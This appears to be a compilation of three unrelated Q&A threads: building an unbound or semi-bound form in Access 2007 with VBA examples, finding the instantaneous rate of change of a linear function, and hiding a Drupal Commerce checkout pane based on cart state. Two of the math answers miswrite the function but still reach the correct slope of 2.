Build an unbound form in Acess 2007

Question: I have an access application that has a form that allows the user to enter case notes. The main field of this form is tied to a SQL Server varchar(MAX) field in the source table. Since the users switched to Access 2007, their program keeps crashing when they are on the case notes form. As a possible solution to this problem, I would like to try unbinding this form and re-building it as an unbound form.
This form needs to be able to add and update records into my SQL Server database. It also needs to be able to browse between records. I guess I am at a loss as to where to start. Any suggestions/code snippets is appreciated.
Answer: As a starting point, try Google on "unbound form in Access". Don't be distracted by PacMan! ;)
Anyway, the basic idea of an unbound form is to load the data into the unbound controls from a recordset, then to save it back when edits are done. This means you need these things:

controls to select the needed record, some kind of find functionality.
code to open the recordset and write the data from the fields into the corresponding controls on the form.
controls to save the record back to the database, which will use a SQL update to write the values in the unbound controls back to the database. I prefer not to update fields that have not changed (because I do lots of replicated Jet apps, and multiple updates can lead to unnecessary replication conflicts). You can compare the data in the undound controls to the data in the original recordset (if you open it as a snapshot type recordset, it won't reflect any updates since it was opened), and write your SQL UPDATE for only the fields where the values don't match. You'll have to account for Nulls.

The common practice is to name the controls exactly the same as the fields they correspond with so you can loop the recordset's fields collection and load the data into the controls:
<code>  For Each fld In rs.Fields
    Me.Controls(fld.Name) = fld.Value
  Next fld
</code>
You can do likewise for saving the data and checking the control values against the original recordset values.
I don't know if this works with SQL Server VarChar() fields or not, but you could also try what I call a "semi-bound" form, where you load the recordset with the form's RecordSource property but don't bind the fields to controls. Thus, the form is bound, but the controls are not. I very often do this with a fully bound form where I make the memo fields unbound (to avoid the danger of memo field pointer corruption in Jet/ACE back ends). In that case, with a bound form recordset and an unbound textbox for editing, you'd do this:

in the form's OnCurrent event, load the unbound field(s) data into the corresponding unbound textbox(es).
in the AfterUpdate event(s) of the unbound control(s), write the data in the unbound textbox(es) back to the recordsource.

Those two steps would basically look something like this:
<code>  Private Sub Form_Current()
    Me!txtMemo = Me!Memo
  End Sub

  Private Sub txtMemo_AfterUpdate()
    Me!Memo = Me!txtMemo
    Me.Dirty = False
  End Sub
</code>
With a Jet/ACE back end, you'd want to save the record immediately after you write the memo field value because otherwise you haven't avoided the danger of corrupting the memo field pointer. With a SQL Server back end, you may or may not need to do that, since the issues are completely different. Saving will release the write lock, but you might not need to avoid that.
Also, I'm assuming that the VarChar() data can be read from the form's underlying Recordsource and written into the textbox. You'll have to see if that works.
Comment: I love the idea of the semi-bound form. Lets see if I got this right. at the OnCurrent event, I open my recordset and populate the unbound field on the form, then I close the recordset. On AfterUpdate of my unbound field, I open a recordset and update the it, then I close it out.

If I set it up this way, how do I handle adding records through the form? Right now, I plan on only having one unbound field on the form.
Comment: With the "semi-bound" form, you don't open a recordset at all -- the field is loaded in the form's underlying recordsource. As to adding records in this "semi-bound" form, you'd do it just like you would in a fully bound form.

Build an unbound form in Acess 2007


What is the instantaneous rate of change for $ƒ(x) = 2x + 5$ at $x = -7$?

Question: What is the instantaneous rate of change for $ƒ(x) = 2x + 5$ at $x = -7$ ?
Do I just simply substitute $-7$ into the equation to get the answer? Would that mean the solution is $-9$?
Comment: The instantaneous rate of change is the derivative at the point.
Comment: Does the point (-7,-9) lie on the function?
Comment: @imranfat: Yes it does. (But that's not very relevant.)
Comment: @Kundor Of course it is not relevant to the real question. But that is exactly what the OP did. In other words. I am addressing a conceptual issue here. And that is just as important...
Answer:
The rate of change for a line is the slope, so the rate of change along the entire line is 2.
Answer: The instantaneous rate of change of a function at a point is the function's derivative at that point.
The function $f(x) = 2x + 7$ has derivative $f'(x) = 2$.  Since the derivative does not depend on $x$, the instantaneous rate of change at every point of the linear function $f(x) = 2x + 7$ is $2$, the slope of the line $y = 2x + 7$.  In particular, the instantaneous rate of change of change at $x = -7$ is $f'(-7) = 2$.
In general, the derivative of a function at a point represents the slope of the tangent line to its graph at that point.  For a linear function $f(x) = mx + b$, the derivative $f'(x) = m$ is just the slope of the line $y = mx + b$.
Answer: Let $h$ be equal to a very small change in $x$. Thus, the slope of a line at $x$ to $x+h$ is
$$\frac{\Delta f}{\Delta x}=\frac{f(x+h)-f(x)}{x+h-x}=\frac{f(x+h)-f(x)}{h}$$
To find the instantaneous rate, we wish to find the limit as $h$ approaches $0$.
$$\lim_{h \to 0}\frac{f(x+h)-f(x)}{h}$$
For our function:
$$\lim_{h \to 0}\frac{2(x+h)-5-(2x-5)}{h}=\lim_{h \to 0}\frac{2x+2h-5-2x+5}{h}=\lim_{h \to 0}\frac{2h}{h}=\lim_{h \to 0}2=2.$$
Thus, at any $x$ value, including $x=-7$, the instantaneous rate of change is $2$.
Answer: The line has a constant slope, or gradient, or rate of change equaling its derivative =2. $x$ does not occur anymore in this example to plug in.


Hide pane based on cart state

Question: Can anyone point me to a right direction.
I have created a custom Checkout flow and it has payment pane in it.
I'm trying to skip payment pane if the Cart state changed (default cart state is draft)
I couldn't find any documentation for this in Drupal Commerce documentation or through Google.
I don't know what hook is available for this (if there is any) or where to start.
Thanks
Answer: Turns out there's already a documentation for this and I missed it.
For anyone who has the same problem,
You can implement the isVisible() function on your custom checkout pane.
https://docs.drupalcommerce.org/commerce2/developer-guide/checkout/create-custom-checkout-pane

Hide pane based on cart state